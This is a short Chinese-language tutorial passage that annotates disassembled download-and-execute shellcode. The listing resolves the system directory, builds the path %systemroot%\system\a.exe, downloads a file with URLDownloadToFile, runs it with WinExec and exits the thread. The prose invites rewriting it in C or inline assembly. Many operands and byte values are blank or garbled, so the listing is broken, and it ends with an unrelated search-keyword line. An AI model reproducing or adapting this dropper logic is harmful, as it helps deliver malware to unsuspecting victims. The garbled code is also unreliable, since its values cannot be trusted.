       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

搜索关键词:马超战法源码